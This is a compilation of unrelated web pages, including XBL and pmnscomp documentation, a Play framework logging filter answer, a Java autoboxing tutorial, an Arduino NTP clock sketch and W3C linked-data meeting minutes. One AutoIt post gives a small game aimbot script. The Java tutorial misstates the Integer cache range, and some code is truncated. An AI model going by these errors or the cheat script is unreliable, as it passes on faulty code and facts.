<binding id="popup" extends="chrome://global/content/bindings/popup.xml#popup-base">
Beyond this static usage of stylesheets, two attributes, applyauthorstyles and styleexplicitcontent, can affect the appearance of a binding element if a stylesheet is applied to it. Although they are part of the XBL 1.0 specification, these attributes were not implemented at the time of writing. They are attributes of the <binding> element.
applyauthorstyles
A Boolean value that determines the use of stylesheets from the document that contains the bound element. The default is false.
styleexplicitcontent
A Boolean value that indicates whether the stylesheets loaded in the XBL document can be applied to a bound element's explicit children and not just the bound element itself. The default is false.
Stylesheets take effect from the inside scope and move outwards. This means that styles on a binding can be overridden easily by styles attached to elements contained in anonymous content.
The <image> XBL element works much like a XUL element and pulls in the image by using the src attribute.
<binding id="images"> <resources> <image src="plane.png"/> <image src="boat.png"/> <image src="bicycle.png"/> </resources> </binding>
If an element calls this binding, the pictures would lay out side-by-side horizontally in the bound document.
[1] This example is modified code taken from, and is covered by a three-clause BSD license. More on SOAP and the SOAP API in Mozilla can be found at.
[2] The Google API requires a Google Key, and more information can be found at.
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PMNSCOMP(1) General Commands Manual PMNSCOMP(1)
pmnscomp - compile an ASCII performance metrics namespace into binary format.
pmnscomp [-d] [-f] [-n namespace] [-v version] outfile
pmnscomp compiles a Performance Metrics Name Space (PMNS) in ASCII format into a more efficient binary representation. pmLoadNameSpace(3) is able to load this binary representation significantly faster than the equivalent ASCII representation. If outfile already exists pmnscomp will exit without overwriting it. By convention, the name of the compiled namespace is that of the root file of the ASCII namespace, with .bin appended. For example, the root of the default PMNS is a file named root and the compiled version of the entire namespace is root.bin. The options are; -d By default the PMNS to be compiled is expected to contain at most one name for each unique Performance Metric Identifier (PMID). The -d option relaxes this restriction and allows the compilation of a PMNS in which multiple names may be associated with a single PMID. Duplicate names are useful when a particular metric may be logically associated with more than one group of related metrics, or when it is desired to create abbreviated aliases to name a set of frequently used metrics. -f Force overwriting of an existing outfile if it already exists. -n Normally pmnscomp operates on the default PMNS, however if the -n option is specified an alternative namespace is loaded from the file namespace. -v By default, pmnscomp writes a version 2 compiled namespace. If version is 1 then pmnscomp will write a version 1 namespace which is similar to version 2, without the extra integrity afforded by checksums. Note that PCP version 2.0 or later can handle both versions 1 and 2 of the binary PMNS format. The default input PMNS is found in the file $PCP_VAR_DIR/pmns/root unless the environment variable PMNS_DEFAULT is set, in which case the value is assumed to be the pathname to the file containing the default input PMNS.
Once the writing of the new outfile has begun, the signals SIGINT, SIGHUP and SIGTERM will be ignored to protect the integrity of the new file.
$PCP_VAR_DIR/pmns/* default PMNS specification files $PCP_VAR_DIR/pmns/root.bin compiled version of the default PMNS, when the environment variable PMNS_DEFAULT is unset $PCP_VAR_DIR/pmns/stdpmid some standard macros for PMIDadd(1), pmnsdel(1), pmnsmerge(1), PMAPI(3), pmLoadNameSpace(3), pcp.conf(5), pcp.env(5) and pmns(5).
Cannot open ``xyz'' - the filename for the root of the PMNS that was passed to pmLoadNameSpace(3) is bogus. Illegal PMID - either one of the three PMID components (see pmns(5)) is not an integer, or the value for one of the components is negative, or too large. Expected ... - specific syntax errors when a particular type of lexical symbol was expected and not found; the messages are intended to be self-explanatory. Internal botch - implementation problem for the parser ... Duplicate name ``abc'' in subtree for ``pqr.xyz'' - for each non-leaf node, the names of all immediate descendents must be unique. No name space entry for ``root'' - the special non-leaf node with a pathname of ``root'' defines the root of the PMNS, and must appear somewhere in the PMNS specification. Multiple name space entries for ``root'' - more than one ``root'' node does not make sense! Disconnected subtree (``abc.xyz.def'') in name space - the pathname for this non-leaf node does not correspond to any pathname in the PMNS, hence this non-leaf node is ``orphaned'' in the PMNS. Cannot find definition for non-terminal node ``xyz'' in name space - a non-terminal node is named as part of its parent's specification, but is never defined. Duplicate metric id (xxx) in name space for metrics ``abc'' and ``xyz'' - each PMID must be unique across theNSCOMP(1)
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PyNGL/PyNIO user forum
The email list pyngl-talk@ucar.edu was created for PyNGL and PyNIO users to exchange information, ask questions, and report bugs. It is also for the developers to share information about new releases, features, bug fixes, and other related information. You must be subscribed to this email list in order to post to it.
All of the pyngl-talk emails and their responses are archived for your convenience:
We generally try to answer your question within a few hours. Sometimes we will respond to a person offline, so if you don't see a posting on pyngl-talk right away, this doesn't necessarily mean we aren't looking into it. We will eventually post the resolution when we have all the information, and if it is appopriate.
Posting a bug reportIf you want to report a potential bug, the most helpful thing you can do is provide the shortest Python script possible that illustrates the bug, any data files needed to run your script, and a graphic (PostScript file, PDF file, NCGM file, etc.) if there is one available.
We don't encourage sending large files as email attachments, however, so if you can put your script, data, and/or images on a website and then just provide a URL, that would be ideal. Ftp also works for us.
Other information that we need for bug reports is the version of PyNGL or PyNIO you are running. You can get this information by printing the "__version__" attribute:
import Ngl print Ngl.__version__ import Nio print Nio.__version__
Finally, please include the type of system you are on (usually "uname -a" is enough), and the exact error message or nature of the error you are seeing. The more detail you can give, the better..
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Play 2.5: get response body in custom http action
I'm trying to create a custom http action () to log request and response bodies with Play 2.5.0 Java. This is what I've got so far:
public class Log extends play.mvc.Action.Simple { public CompletionStage<Result> call(Http.Context ctx) { CompletionStage<Result> response = delegate.call(ctx); //request body is fine System.out.println(ctx.request().body().asText()) //how to get response body string here while also not sabotaging http response flow of the framework? //my guess is it should be somehow possible to access it below? response.thenApply( r -> { //??? return null; }); return response; } }
Answers
Logging is often considered a cross-cutting feature. In such cases the preferred way to do this in Play is to use Filters:
The filter API is intended for cross cutting concerns that are applied indiscriminately to all routes. For example, here are some common use cases for filters:
- Logging/metrics collection
- GZIP encoding
- Security headers
This works for me:
import java.util.concurrent.CompletionStage; import java.util.function.Function; import javax.inject.Inject; import akka.stream.*; import play.Logger; import play.mvc.*; public class LoggingFilter extends Filter { Materializer mat; @Inject public LoggingFilter(Materializer mat) { super(mat); this.mat =()); akka.util.ByteString body = play.core.j.JavaResultExtractor.getBody(result, 10000l, mat); Logger.info(body.decodeString("UTF-8")); return result.withHeader("Request-Time", "" + requestTime); }); } }
What is it doing?
First this creates a new Filter which can be used along with other filters you may have. In order to get the body of the response we actually use the nextFilter - once we have the response we can then get the body.
As of Play 2.5 Akka Streams are the weapon of choice. This means that once you use the JavaResultExtractor, you will get a ByteString, which you then have to decode in order to get the real string underneath.
Please keep in mind that there should be no problem in copying this logic in the Action that you are creating. I just chose the option with Filter because of the reason stated at the top of my post.
Need Your Help
Laravel saving a hasAndBelongsToMany relationship
Comparing modules available in different Strawberry Perl versions?
perl perl-module cpan strawberry-perlBackground: We have recently got into some confusion, because one developer used Strawberry Perl 5.14.4.1 while the our buildserver uses 5.14.2. However, 5.14.4.1 contains more modules, so the script
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http://www.brokencontrollers.com/faq/35986698.shtml
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When we assigned an int to Integer object, it is first converted to an Integer Object and then assigned. This process is termed as autoboxing. But there are certain things which you should consider while comparison of such objects using == operator. See the below example first.
public class Tester { public static void main(String[] args) { Integer i1 = new Integer(100); Integer i2 = 100; //Scenario 1: System.out.println("Scenario 1: " + (i1 == i2)); Integer i3 = 100; Integer i4 = 100; //Scenario 2: System.out.println("Scenario 2: " + (i3 == i4)); Integer i5 = 200; Integer i6 = 200; //Scenario 3: System.out.println("Scenario 3: " + (i5 == i6)); Integer i7 = new Integer(100); Integer i8 = new Integer(100); //Scenario 4: System.out.println("Scenario 4: " + (i7 == i8)); } }
Scenario 1: false Scenario 2: true Scenario 3: false Scenario 4: false
Scenario 1 - Two Integer objects are created. The second one is because of autoboxing. == operator returns false.
Scenario 2 - Only one object is created after autoboxing and cached as Java caches objects if the value is from -127 to 127. == operator returns true.
Scenario 3 - Two Integer objects are created because of autoboxing and no caching happened. == operator returns false.
Scenario 4 - Two Integer objects are created. == operator returns false.
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https://www.tutorialspoint.com/Comparison-of-autoboxed-integer-object-in-Java
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![endif]-->
Please read - - about not bugging the NTP-server admins.
Related UDP overrun bug: -
One of the main applications for the Arduino board is logging of sensor data. One of the finest shields recently in the market is the as it combines a Real Time Clock RTC and a SD storage. The RTC enables labeling the sensordata with an accurate timestamp so they make far more sense than when logged with a simple uptime counter. NB one can relate the sensor readings to external events, under the condition that the RTC is set correctly! This story is about setting the RTC within a one second precision by means of the NTP protocol.
Note: the sketch discussed is mainly merging existing code with some small additions to enhance the precision.
Note: works also with "standalone" DS1307 as long as the backup battery stays connected.
The logshield comes with a nice library, which contains three classes:
The dateTime class has several methods for converting between date and time formats, especially UTC and human readable form.
The RTC_1307 has two important methods:
The documentation states that one can intialize the RTC with two consts from the compiler. This can be done with the following code:
RTC_1307 RTC; RTC.adjust(DateTime now (__DATE__, __TIME__));
Clever but the accuracy depends on the size of the sketch, the speed of your compiler and the baudrate of the upload. Although the difference is not big in absolute terms we want the RTC as precise as possible and there is where NTP comes in.
NTP stands for Network Time Protocol. This protocol provides superb accuracy from atomic clocks for setting time in computers. When requesting an NTP timestamp one gets a (theoretical) precision in the order of 10^-10 second. The NTP answer might include information to calculate the network latency and more. It is one of the fundaments of the internet. NTP uses UDP, a "brother" of TCP, as transport protocol. The main difference with TCP is lack of handshake so it is faster and in theory less reliable. In practice this gained speed makes the protocol more accurate.
For details of NTP I refer to:
This sketch assumes you have a logshield and an ethershield attached to your Arduino.
The code is quite straightforward. In SETUP it initializes the ethernetboard and opens an UPD socket for the NTP handshake. Also an RTC object is started for setting the clock.
In LOOP the main actions are sending a NTP packet to the timeserver and wait for its reply. If there isn't an answer available retry every 10 seconds.
When the reply is received, the code extracts the timestamp from the timeserver. This timestamp is in UTC format, meaning seconds after Jan 1st 1970. the timestamp also has comes with a 32 bit fractional part.
As the UTC timestamp refers to wintertime in Greenwhich, we need to Add/subtract the right amount of hours for our own TimeZone (TZ) and DaylightSavingsTime (DST). Furthermore the code uses the fractional part to round off the time ==> add 1 second if fraction is larger than 0.4. This value takes 100msec network latency (etc) into account.
Note that there is also 1 second added to compensate for the explicit delay after the NTP request has been send. Finally the RTC is set with the adjusted timestamp and the programs stops with an idle loop.
The code contains some Serial.print() statements to see what happens, but in fact they form a delay ... Furthermore the code also contains some lines to extract all other timestamps of the NTP packet that are not used. See the spec for their meaning. Also note that the code only extract 2 of the 4 bytes of the fractional parts as this is more than enough to be precise within 1 second. A final version all this unneeded code can be stripped.
In the first version I did not have the one second adjustment and the round off code with the fractional part. After adding both adjustments the code does its job very well, this can be seen by running the sketch twice and compare the RTC with the incoming NTP-timestamp.
As the logshield is battery backupped one can run this sketch before uploading your own sketch, saving some precious memory for setting the clock.
Enjoy tinkering,
rob.tillaart@removethisgmail.com
t4 += (2 * 3600L); // added the L preventing overflow
/* * NAME: NTP2RTC * DATE: 2012-02-19 * URL: * * PURPOSE: * Get the time from a Network Time Protocol (NTP) time server * and store it to the RTC of the adafruit logshield * * NTP is described in: * (obsolete) * * * based upon Udp NTP Client, by Michael Margolis, mod by Tom Igoe * uses the RTClib from adafruit (based upon Jeelabs) * Thanx! * mod by Rob Tillaart, 10-10-2010 * * This code is in the public domain. * */ // libraries for ethershield #include <SPI.h> #include <Ethernet.h> #if ARDUINO >= 100 #include <EthernetUdp.h> // New from IDE 1.0 #else #include <Udp.h> #endif // libraries for realtime clock #include <Wire.h> #include <RTClib.h> RTC_DS1307 RTC; // Enter a MAC address and IP address for your controller below. // The IP address will be dependent on your local network: byte mac[] = { 0x00, 0x11, 0x22, 0x33, 0xFB, 0x11 }; // Use your MAC address byte ip[] = { 192, 168, 0, 1 }; // no DHCP so we set our own IP address byte subnet[] = { 255, 255, 255, 0 }; // subnet mask byte gateway[] = { 192, 168, 0, 2 }; // internet access via router unsigned int localPort = 8888; // local port to listen for UDP packets // find your local ntp server or // // byte timeServer[] = {192, 43, 244, 18}; // time.nist.gov NTP server byte timeServer[] = {193, 79, 237, 14}; // ntp1.nl.net NTP server const int NTP_PACKET_SIZE= 48; // NTP time stamp is in the first 48 bytes of the message byte pb[NTP_PACKET_SIZE]; // buffer to hold incoming and outgoing packets #if ARDUINO >= 100 // An EthernetUDP instance to let us send and receive packets over UDP EthernetUDP Udp; // New from IDE 1.0 #endif /////////////////////////////////////////// // // SETUP // void setup() { Serial.begin(19200); Serial.println("NTP2RTC 0.5"); // start Ethernet and UDP Ethernet.begin(mac, ip); // For when you are directly connected to the Internet. Udp.begin(localPort); Serial.println("network ..."); // init RTC Wire.begin(); RTC.begin(); Serial.println("rtc ..."); Serial.println(); } /////////////////////////////////////////// // // LOOP // void loop() { Serial.print("RTC before: "); PrintDateTime(RTC.now()); Serial.println(); // send an NTP packet to a time server sendNTPpacket(timeServer); // wait to see if a reply is available delay(1000); if ( Udp.available() ) { // read the packet into the buffer #if ARDUINO >= 100 Udp.read(pb, NTP_PACKET_SIZE); // New from IDE 1.0, #else Udp.readPacket(pb, NTP_PACKET_SIZE); #endif //; // NOTE: // one could use the fractional part to set the RTC more precise // 1) at the right (calculated) moment to the NEXT second! // t4++; // delay(1000 - f4*1000); // RTC.adjust(DateTime(t4)); // keep in mind that the time in the packet was the time at // the NTP server at sending time so one should take into account // the network latency (try ping!) and the processing of the data // ==> delay (850 - f4*1000); // 2) simply use it to round up the second // f > 0.5 => add 1 to the second before adjusting the RTC // (or lower threshold eg 0.4 if one keeps network latency etc in mind) // 3) a SW RTC might be more precise, => ardomic clock :) // convert NTP to UNIX time, differs seventy years = 2208988800 seconds // NTP starts Jan 1, 1900 // Unix time starts on Jan 1 1970. const unsigned long seventyYears = 2208988800UL; t1 -= seventyYears; t2 -= seventyYears; t3 -= seventyYears; t4 -= seventyYears; /* Serial.println("T1 .. T4 && fractional parts"); PrintDateTime(DateTime(t1)); Serial.println(f1,4); PrintDateTime(DateTime(t2)); Serial.println(f2,4); PrintDateTime(DateTime(t3)); Serial.println(f3,4); */ PrintDateTime(DateTime(t4)); Serial.println(f4,4); Serial.println(); // Adjust timezone and DST... in my case substract 4 hours for Chile Time // or work in UTC? t4 -= (3 * 3600L); // Notice the L for long calculations!! t4 += 1; // adjust the delay(1000) at begin of loop! if (f4 > 0.4) t4++; // adjust fractional part, see above RTC.adjust(DateTime(t4)); Serial.print("RTC after : "); PrintDateTime(RTC.now()); Serial.println(); Serial.println("done ..."); // endless loop while(1); } else { Serial.println("No UDP available ..."); } // wait 1 minute before asking for the time again // you don't want to annoy NTP server admin's delay(60000L); } /////////////////////////////////////////// // // MISC // void PrintDateTime(DateTime t) { char datestr[24]; sprintf(datestr, "%04d-%02d-%02d %02d:%02d:%02d ", t.year(), t.month(), t.day(), t.hour(), t.minute(), t.second()); Serial.print(datestr); } //: #if ARDUINO >= 100 // IDE 1.0 compatible: Udp.beginPacket(address, 123); //NTP requests are to port 123 Udp.write(pb,NTP_PACKET_SIZE); Udp.endPacket(); #else Udp.sendPacket( pb,NTP_PACKET_SIZE, address, 123); //NTP requests are to port 123 #endif } /////////////////////////////////////////// // // End of program //
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Lynie 0 Posted June 6, 2008 I'm quite new to autoit and since I want to learn it, I'm creating a simple aimbot for a flash game. global $pos global $findcolor global $do = "false" HotKeyset("{NUMPADDIV}", "stop") func stop() if $do="true" Then $do="false" Else $do = "true" EndIf EndFunc while 1 if ($do="true") Then $pos = MouseGetPos() $findcolor = PixelSearch(0,0,1280,1204,0x393753,10) if not @error Then MouseMove($findcolor[0],$findcolor[1]) sleep(100) Else msgbox(1,"not found","error") EndIf endif wend However the cursor seems to be a few pixels away from the mouse, how do I correct this. I already tried replacing MouseMove($findcolor[0],$findcolor[1]) by MouseMove($findcolor[0],$findcolor[1]+120 but this fails, same result as the first one. Share this post Link to post Share on other sites
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https://www.autoitscript.com/forum/topic/73015-internet-browser-and-mousemove/
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See also: IRC log
<sandro> People in room, in order:
<sandro> Karen Myers
<sandro> Sandro Hawke
<sandro> Jeni Tennison
<sandro> Daniel Dardailler
<sandro> Roger Cutler
<sandro> Phil Archer, W3T + Talis
<sandro> Martín Álvarez, Fundación CTIC
<sandro> Thomas Bandholtz Germany -- LD Environrment Data
<sandro> Antonio Sergio Cangiano, SERPRO
<sandro> Jose Leocadio, SERPRO
<sandro> Yosuke Funahashi, Tomo-Digi Corporation
<sandro> Vagner Diniz
<sandro> Karen Burns
<scribe> scribe: PhilA
<scribe> scribeNick:PhilA
<karen> Daniel: Are we going to talk about the creation of a task force to look at education and outreach?
DD: Raises issue of non-tech
education & outreach
... (as possible agenda item later)
Karen: 1.5 yrs ago we had an
active task force
... comm team etc. planning lots of stuff
... then there was a shift in priorities, and Josema left. It was very effective when we were doing it
... I have a personal interest. We have some support from our PR firm that has a knowledge base in this area.
... but it's US-based. Need a more global view
DD: There is funding from the EU to help PSI
Karen: I like the idea of a
TF.
... if there's a need for an IG just looking at that, all well and good
DD: we could spin off other groups from the IG
Karen: We need high level messages - what is open data, what is Linked data etc.
PhilA: Talis is interested in this ;-)
Sandro: Others?
Interest in the room from New Zealand, Brazil and more
<sandro> Karen B, Vagner
<karen> Vagner Diniz, Karen Burns
<scribe> ACTION: Daniel D to set up task Force on EO [recorded in]
<trackbot> Created ACTION-118 - D to set up task Force on EO [on Daniel Bennett - due 2010-11-09].
Jeni: Takes the floor...
... shows data.gov.uk Web site
<sandro> ACTION-118 is really on Daniel Dardailler not Daniel Bennett.
Jeni: Most data is in CSV or XML.
Some, but not much, LD
... explains the term 'organogram' to mean org chart, organisational info etc.
... an edict from gov said that all departments should publish their organograms on data.gov.uk, and it specified what info had to be included
... about 62 on d.g.u now
... majority published a PDF of their organisational structure
... pretty pictures with tables that don't help a lot as there's no data to pull out
... some of the org charts use headings defined centrally
... some published as Power Point
... senior post data includes reporting structures
... shows a CSV file
... talks about 'Gridworks', now renamed 'Google Refine'
... see
Roger C: That's cool!
Jeni: yes it is!
... important tool for cleaning up data
... sometehing that non-specialists can use
... Demos Google Refine
... You can see the facets for a column, edit values that have gone wrong, edit column names
... the key point is that civil servants can use this tool
... we have gone round training a bunch of civil servants. Lots of good feedback. People have begun using it
... extremely nice features around reconciling data around already published data
... you can ask the tool to reconcile a column
<sandro> gridworks "reconcile" to link to web data. nice!
Jeni: turns strings into links
(if it finds relevant data)
... You can do a bit of manual work to produce clean RDF without actually handling RDF (knowlingly)
... you can apply scripts
... shows adding a column for, in this case, provenance
... data.gov.uk tries to keep track of where we get data from
... and if I open up a script (in this case, a bit of JSON). Paste that in and apply those instructions - it will perform various tasks, creating extra columns etc.
... my script adds in lots of URIs in this case
... (URIs central to linked data)
... DERI has created a plug in that describes the data
... now can export the data as turtle or RDF/XML
(Shows RDF generated from the CSV)
Jeni: You can see the different
posts within 'BIS' (Department of Business Innovation and
Skills)
... we run several stores, mostly hosted by Talis
<sandro> (I wonder if there's a way to simplify that script application process....)
Jeni: they bring together data
sets for, say, transport
... then one on education and so on
... organogram data is "reference data"
i.e.
(Shows SPARQL queries against BIS organogram data). Live. No safety net
Voila! Some results
Jeni: Most people, including
developers, don't react well to being asked to write SPARQL
queries
... so we have added a layer on top of the SPARQL to provide a simpler API
... I'll show you the basic Linked data API first of all
Shows how this gives a 303 to
demos exploring the data
Karen: This is fabulous
... practical question - who is updating the data?
Jeni: the generic answer is "how
long is a piece of string". Some data changes daily, some
changes much less frequently
... for organogram work, the stipulation was that data should be valid on 30/6/10 and should be updated every 6 months
Karen: How did the departments react?
Jeni: It was hard. it took a big
stick from the Cabinet office to get it done
... Most departmetns have generated just a PDF or a POwer Point
... some generated a CSV (prob by HR with help from IT dept)
... generation of RDF was done by me (x 6). One dept has done it themselves
Karen: And they can navigate this UI?
Jeni: This UI is designed to show
them the benefit of doing it as LD. Shwoing that people can
navigate around the data
... you can see the different sources of the data
Sandro: Is everyone's salary info public by law?
Jeni: Top civil servants - although it's not by law, it's the culture
Roger: Who wants to do this and why?
Jeni: WE have a strong developer
community in the UK. They want to get hold of gov data, package
it and so on
... they usually want to pursue this for lobbying or political ends
... person X is claiming ABC on their expenses, is this right?
... personally I don't find that the most interesting data that governments can put out but it is where the current political drive is in the UK
Karen: it is tangible though
Jeni: School performance is
something that people can relate to as well
... completes demo
... this helps people explore the data and find out where the data came from
<sandro> exploring
Jeni: shows XML data, or JSON
data - the interface allows you to access the data in various
formats. Just add .xml or .json to the URI. That's what the
Linked data API is about
... So much for the data, available as an explorer and as data for developers. But it's not especially pretty
... so let's see if we can find a pretty output
Demos BIS organogram visualisation
Sandro: Does it go all the way ip to the prime minister?
<sandro> sandro: if you want to get on this giant org chart, give us your RDF
Jeni: Not yet, but that would be
cool, especially if it came out of all the different data sets
created by different departments. The overall org chart comes
out of its component parts - if you use linked data
... Getting to an end to end story like this has taken several months
... we had to work out what URIs should look like for different departments. This is a department within a department, a unit etc.
... we had to create some vocabularies for organisational structures generally and then specifically for UK
... provenance data is very important
... statistics around salary costs - needed a vocabulary for talking about statistical dta
... and those fundamental design choices etc. had to be done to support the kind of end to end story we've been looking at here
Sandro: Those vocabularies sound like candidates for standardisation
Roger: AIUI you started by
defining standardised things. In the tool you had a
reconciliation step that knew what to do with the data. So it
must have been pretty close for automated reconciliation
... what does that depend on?
Jeni: Gridworks takes the values
that it finds in the column. Takes a sample, sends it to a
reconciliation service - an API for this kind of thing
... the Rec service looks at the values, looks at the data it has, and works out what it looks like and what vocab is appropriate
<sandro> sandro: I've put those vocabularies, as best I understood, into the GLD WG Work Items list,
Jeni: recognising "John Smith" as a name cf. "Smith, John" is something the reconciliation service does. Leigh Dodds (Talis) created a good example of this
See
Further discussion on how this works between Roger, Jeni and Sandro
Roger: How does a salaray get recognised as a salary
Jeni: That's in the RDF schema
<sandro> sandro: so reconciliation takes strings which are intended to be identifiers and turns them into proper URI identifiers
Jeni: and we can use the CSV column name as the hook
Roger: so "salary" might match and "sal" won't
Jeni: yes
Roger: So there's a certain amount of fixing up of "user data"
karen: What is the UK gov policy towards the APIs?
jeni: The Linked data API is on Google Code and anyone can use it
Talis implementation in PHP
Karen: Are you shouting about this?
Jeni: yes
Sandro: The Linked data API work was presented at various meetings
karen: so it needs more outreach
Roger: I'd like to hear more about how politicians talk about this?
Jeni: Gordon brown got it and understood it
<sandro> It's a possible item for GLD WG:
Jeni: current government see it as part of the transparency agenda. Making data available in a machine readable format
Roger: Made the point that organisational capability, software support etc. is really important for commercial companies etc.
Vagner; Jeni talks about visualisation
scribe: has W3C done any work on visualisation?
Sandro; beyond CSS and SVG, I'm not aware of any
Vagner: You added this item on the WG. I wonder if it's something we need to discuss?
Sandro: That's coming out of the data.gov.uk work but I don't know any more detail
PhilA: I think an RDF-SVG link would be cool
Fabien: Talks about an existing effort to link CSS, SPARQL and more
Martin: Shows map drawn in SVG, lots of tables in RDF so we're already linking RDf and SVG
Sandro: What's the linkage?
Martin: I think it's Java
... begins talk
<FabGandon> Cytoscape combines SPARQL CONSTRUCT with a graph interface to allow the user to select and render RDF data
Martin: Open Data act 2007
... aim to create catalogue of open gov data
<FabGandon> more precisely the S*QL plugin for cytoscape
Martin: 3 regional governments (Asturias) Basque and Catalonia
Shows Asturias catalogue
Martin: only 4 data sets but all
linked
... uses things like the organisation vocab, iCal etc.
... project is 100% linked data, hosted on our own Oracle triple store
... we've added some Jena modules (and our own) to create SPARQL endpoints etc.
... metadata modelled using VoID
... HTML view generated dynamically
... Basque country is similar but is focussed on raw data. They have some RDF links but they're static files to describe the data sets
... more than 1,000 data sets in raw formats
... useful info for citizens anda industry
... translation memories (Euskara -> Espanol etc.)
... Catalonia is a new one
... this will be similar to Basque country initiative
... most data will be in raw formats (CSV, XML etc.)
... they will provide some info in RDf
... as well as RDF static files
... we're also creating a catalogue using DCAT
... See
<FabGandon> S*QL plugin for Cytoscape presentation here
Martin: they will present >
26K vCards in RDF, describing public centres, using linked data
approach
... as well as the regional governmetns we also have Saragossa, Gijon and Barcelona as cities in the project
... hope to have more info next month
... Saragoss will be using linked data. Should be first city to adopt this
... they're also using DCAT
... Gijon is a simple project
... adapting a CMS to provide RDF content representations in parallel byt adding RDFa to pages
... we conclude that most governmetns are interested in publishing many data sets quickly
... they want to release the data 'now'
... they want good headlines
... they are neutral on idea of linked data
... they 'know' that semantic modelling is hard and they don't want to spend more time and money on it
... for us it's easy to create examples. It's not so easy for the developers
... maybe we need more examples like the Linked data API to help
... this would help to help to foster the use of the linked data info
Jeni: It is the case that making data useable and reusable is hard. Linked data is no harder. It's making the data clean that's hard.
<sandro> jeni: Making data reusable is hard (not semantics, per se)
Martin: we are trying to convince them using these examples. we gather their spreadsheets and show the linked data examples
<martin> Example of linked data representation
Karen: Can you say a little more about the time and money. What levels of government are you working with?
Martin: The best example is
Catalonia. They called us 15 days ago and said they wanted to
have an open data site within a month. Can you help?
... speed was major concern
... get the data we have out there
... they are convinced that linked data is a good solution, they want to follow it, but they prefer spending their resources in developing open data site, specifying the licence
... LD comes later?
Karen: So who called you?
Martin: Not an IT person. More
close to the citizenry
... not sure of actual department
... some are closer to the IT departments
Sandro: What was their motivation
Martin: They know about linked
data because we told them about it
... most of them haven't heard about LD before
... they know open data initiatives, not linked data
... we managed to convince them ;-)
Sandro: Any other
questions?
... then we'll take our break now
<sandro>
<FabGandon> Datalift:
<sandro> fabien: I'm not speaking for all of France! This is just one accepted project. Accpted in june, kickoff was at end of September.
<sandro> ... Not a lot to show yet, but now is a good time to give us feedback.
<sandro> ... Last year at ISWC we had a meetup, and discussed the lack of data.gov project in France
<sandro> ... We considered a prototype in Talis; first question --- where will the data physically be stored? In the UK or France?
<sandro> ... considered cloud in Europe
<sandro> ... datalift == lifting from raw data to rdf in France
<sandro> ...Atos Origin will be integrator, building an open source integrated platform. As side effect they'll be ready to offer services
<sandro> ... Mondeca is a KR firm in Paris, doing industrial knowledge modeling
<sandro> ... Academics: INRIA at Grenoble (aligning schemas), Eurocom, Lirmm (the guy from INRIA got promoted there).
<sandro> ... I'll be using DataLift as a scenario for pushing Named Graphs
<sandro> ... INSEE has all the national statistics for France, IGN has all the maps
<sandro> ... Fing is new generation of tools - use cases and business models
<sandro> ... Phase 1: an easy open end of data, open platform
<sandro> ... not re-inventing wheel. We'll re-use existing solutions if they pass our benchmarks; all dev will be open source.
<sandro> ... - Assist the selection of data
<sandro> ... (every thing must be proven on INSEE and IGN data)
<sandro> ... - identify appropriate schemas
<Zakim> PhilA, you wanted to ask about licensing/openness of IGN data
<sandro> phil: glad to see IGN in there (we have Ordnance Survey, in UK, which does the mapping); OS wants money for some of the data.
<sandro> fabien: IGN has to get half their budget from sales, so that is a concern
<sandro> roger: RDF only, or OWL too?
<sandro> fabien: We'll use OWL when the scenario calls for it
<sandro> fabien: We are concerned about speed of reasoning, so we'll have to strike the balance
<sandro> sandro: you don't have to do the reasoning
<sandro> fabien: it depends on the scenario
<sandro> roger: Is this typical in eGov, to do this tradeoff?
<sandro> fabien: Everyone needs to make this kind of tradeoff
<sandro> jeni: we're mostly staying away from OWL
<sandro> fabien: if we need some big of OWL, then we can use it.
<sandro> fabien: With Atos, we'll benchmark every solution and see what scales well enough.
<sandro> roger: in HCLS, I saw a very elaborate authentication scheme, that was depending on just being in RDF [[S?]].
<sandro> fabien: I heard of this in Freebase
<sandro> ... not even using RDFS because it was deemed too expensive.
<sandro> ... - format conversion & connectors
<Roger> I believe it was RDFS
<sandro> ... (eg csv to rdf)
<Roger> The system was called S3. It's pretty interesting.
<sandro> ... - data publication itself (led by Atos)
<sandro> ... - interconnecting data
<sandro> .. eg URI for Paris connected to other URIs for Paris
<sandro> ... (or re-used)
<sandro> phil: What about talking to developers about using the data?
<sandro> fabien: Yes, we should have raised that topic more.
<sandro> ... it's one thing to show how to publish data; it's another thing maintain it
<Roger> Sorry -- S3DB
<sandro> ... our developers mostly don't speak SPARQL and many don't speak English.
<sandro> ... so a cookbook in English wont be enough
<sandro> TB: (missed question)
<sandro> fabien: As soon as possible
<sandro> fabien: Other topics: visualize, API for mobile, clouds, legal advice, cookbook
<sandro> fabien: can you legally protect a URI?
<sandro> phil: *boom* TimBL exploding on hearing that [imagined]
<sandro> fabien: R&D challenges:
<sandro> ... methods and metrics for schema selection
<sandro> ... balance of specific needs & reusability (I think there is a tradeoff between usability and reusability)
<sandro> ... data conversion & identifiers generation
<sandro> ... automation of dataset interconnection (via Jerome Euzenat)
<sandro> ... named graphs [hopefully aligned with RDF 1.1), provenance, licenses and rights
<Roger> S3DB Permissioning:
<sandro> ... First 18 months get platform running by www2012 in this building in Lyon!, then 18 more months.
<sandro> ... user's club -- folks who want to use it
<sandro> ... includes City of Bordeaux
<sandro> ... Various Liaisons
<sandro> sandro: how much money is the funding?
<sandro> fabien: 3 years, about 2-3k per year, some more for leader.
<sandro> fabien: may create related sub-projects.
<sandro> fabien: we're trying to disturb the environment to create bubbles. :-)
<sandro> tb: Open Environment Data in the 90s
<sandro> ... Aarhus Convention 1998
<sandro> ... European Env. Agency (EEA)
<sandro> ... Environmental Agencies in Germany
<sandro> ... (slide 4)
<sandro> ... INSPIRE based on open geospacial consortium, nor RDF yet
<sandro> ... access to raw data in OGC feature service
<sandro> ... many public sector portals about water, soil, etc --- web pages, pdf, csv, xml of web services --- exhausting harmonization process
<sandro> ... sub-clouds like Linked Open Drug Data, linked to dbpedia; we probably wont use dbpedia as the central ref point, but it looks like they will map to us.
<sandro> ... (slide 13)
<sandro> ... (slide 14)
<sandro> ... GEMET and EUNIS published as Linked Data by EEA
<sandro> ... (slide 15)
<sandro> ... (slide 17 has involve rdf vocabs)
<sandro> ... SKOS, SKOS(XL) -- only stable/w3c
<sandro> ... Dublin Core
<sandro> ... geonames
<sandro> ... linked events ontology, for the chronicle
<sandro> ... Darwin Core (for species)
<sandro> ... SCOVO
<sandro> fabien: I think there's a commercial version of geonames for more/better/current data
<timbl> With a different ontology?
<sandro> tb: German govt has their own data, and the agency that owns the data wants to sell it. There's a free version, but it doesn't include the polygons.
<sandro> tb: We us geograph names; we don't use maps; this river flows through these cities, one by one.
<sandro> tb: sensor web, many developments to come
<sandro> tb: Darwin Core seemed to like the version I did of their work using SKOS.
